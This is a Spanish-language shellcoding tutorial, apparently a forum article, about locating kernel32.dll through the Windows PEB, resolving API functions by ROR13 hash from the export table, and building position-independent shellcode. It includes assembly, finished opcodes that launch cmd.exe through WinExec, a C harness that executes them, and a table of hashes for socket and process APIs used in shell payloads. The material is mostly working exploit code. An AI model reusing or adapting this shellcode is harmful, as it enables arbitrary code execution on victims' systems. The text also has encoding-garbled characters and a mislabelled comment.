por lShadowl
Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.
Teoria
Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/
Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).
PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:
Código:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
}PEB, *PPEB;
La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:
Código:
mov ebx,fs:[0x30]
podemos tener en 'eax' un puntero a PEB. Pero para que nos sirve tener acceso a PEB?
En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:
Código:
PPEB_LDR_DATA Ldr;
Ahora, veamos la estructura de PEB_LDR_DATA:
Código:
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Bien, lo que nos interesa aqui es la list entry:
Código:
LIST_ENTRY InLoadOrderModuleList;
Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:
Código:
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.
Encontrando la direccion de kernel32.dll
Para filtrar los datos del PEB partimos en tener un puntero a PEB:
Código:
mov ebx, fs:[0x30]
Ahora necesitamos apuntar a InLoadOrderModuleList de LDR
Código:
mov ebx, [ebx+0x0C] ;puntero a LDR
mov ebx, [ebx+0x1C] ;puntero a InLoadOrderModuleList
Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32
Código:
mov ebx, [ebx]
mov ebx, [ebx + 0x08]
Entonces tendremos como codigo resultante:
Código:
xor ebx, ebx ;ebx a 0
mov ebx, fs:[0x30] ;apuntamos a PEB
mov ebx, [ebx+0x0C] ;LDR a edx
mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
mov ebx, [ebx]
mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx
Comparemos como funciona vs GetModuleHandleA():
Código:
#include <windows.h>
#include <stdio.h>
int main()
{
DWORD kernelAdd;
printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
__asm{
xor ebx, ebx
mov ebx, fs:[0x30]
mov ebx, [ebx+0x0C]
mov ebx, [ebx+0x1C]
mov ebx, [ebx]
mov ebx, [ebx+0x08]
mov kernelAdd, ebx
}
printf("\ncon PEB: %8X", kernelAdd);
return 0;
}
Como podemos ver, las direcciones resultantes (en mi caso: "7C800000" //win XP Pro sp3) son identicas. El metodo funciona.
Mas teoria
Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta sección es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.
Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>
De estos campos nos interesaremos en la parte de los directorios de datos. >>
EAT - Export Address Table
La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un ?ndice basado en cero de 5.)
Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no est?adentro de la sección de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una direcci?n real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un s?mbolo en otro DLL.
Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.
Llamando a las APIs
El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos .
Analicemos como hacer las llamadas siguiendo los pasos anteriores:
Código:
api_call:
pushad ;registros a pila
mov ebp, esp
xor edx, edx
mov edx, [fs:edx+48] ;puntero a PEB
mov edx, [edx+12] ;puntero a LDR
mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder
next_mod:
mov esi, [edx+40] ;puntero al nombre de los modulos
movzx ecx, word [edx+38] ;logitud a verficar
xor edi, edi
loop_modname:
xor eax, eax
lodsb
cmp al, 'a' ;el nombre del modulo esta en minuscula
jl not_lowercase ;lo pasamos
sub al, 0x20 ;a mayuscula
not_lowercase:
ror edi, 13 ;rotamos hacia la derecha
add edi, eax ;el valor del hash
loop loop_modname ;hasta ecx=0
push edx ;Posicion
push edi ;y hash del modulo actual a pila
mov edx, [edx+16] ;direccion base del modulo a edx
mov eax, [edx+60] ;cabecera PE a eax
add eax, edx
mov eax, [eax+120] ;EAT a eax
test eax, eax ;hay EAT?
jz get_next_mod1 ;no, siguiente modulo
add eax, edx
push eax ;EAT del modulo a pila
mov ecx, [eax+24] ;numero de funciones del modulo a ecx
mov ebx, [eax+32] ;RVA de las funciones a ebx
add ebx, edx
get_next_func:
jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
dec ecx ;numero de la funcion - 1
mov esi, [ebx+ecx*4] ;RVA de la funcion a esi
add esi, edx
xor edi, edi
loop_funcname:
xor eax, eax
lodsb ;byte por byte del nombre de la funcion en ASCII
ror edi, 13 ;buscamos
add edi, eax ;el caracter
cmp al, ah ;nulo que indica el final de la cadena
jne loop_funcname ;hasta tener el hash completo de la funcion
add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion
cmp edi, [ebp+36] ;es la que buscamos?
jnz get_next_func ;no, sigamos con la siguiente funcion
pop eax ;EAT del modulo a eax
mov ebx, [eax+36] ;conseguimos RVA
add ebx, edx ;le a?adimos la direccion base del modulo
mov cx, [ebx+2*ecx]
mov ebx, [eax+28] ;RVA de la funciones a ebx
add ebx, edx ;le a?adimos la direccion base del modulo
mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax
tenemos la direccion virtual de la funcion
finish:
mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
anterior
pop ebx ;arreglamos la pila
pop ebx
popad
pop ecx
pop edx
push ecx
jmp eax ;llamamos a la funcion
get_next_mod:
pop eax ;EAT del siguiente modulo a eax
get_next_mod1:
pop edi ;hash del siguiente modulo a eax
pop edx ;posicion donde quedamos en la lista de modulos a edx
mov edx, [edx] ;puntero al siguiente modulo
jmp short next_mod
;Harmony Security
Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:
Código:
[BITS 32]
cld ;bandera de direccion a cero
call start ;puntero de api_call a la pila
api_call:
;(...)
;codigo de api_call
;(...)
start:
pop ebp ;puntero de api_call a ebp
jmp command ;comando a ejecutar va a pila
exec:
push 0x876F8B31 ;hash para WinExec a pila
call ebp ;llamamos a api_call
push 0x56A2B5F0 ;hash para ExitProcess a pila
call ebp ;llamamos a api_call
command:
call exec
db "cmd.exe ", 0
Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:
Código:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";
int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Funciona?
Si funciono.
Algunos hashes muy usados:
Código:
0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA"
0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv"
0x5F38EBC2, "ws2_32.dll!send"
0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle"
0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject"
0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread"
0x6F721347, "ntdll.dll!RtlExitUserThread"
0x23E38427, "advapi32.dll!RevertToSelf"
Saludos!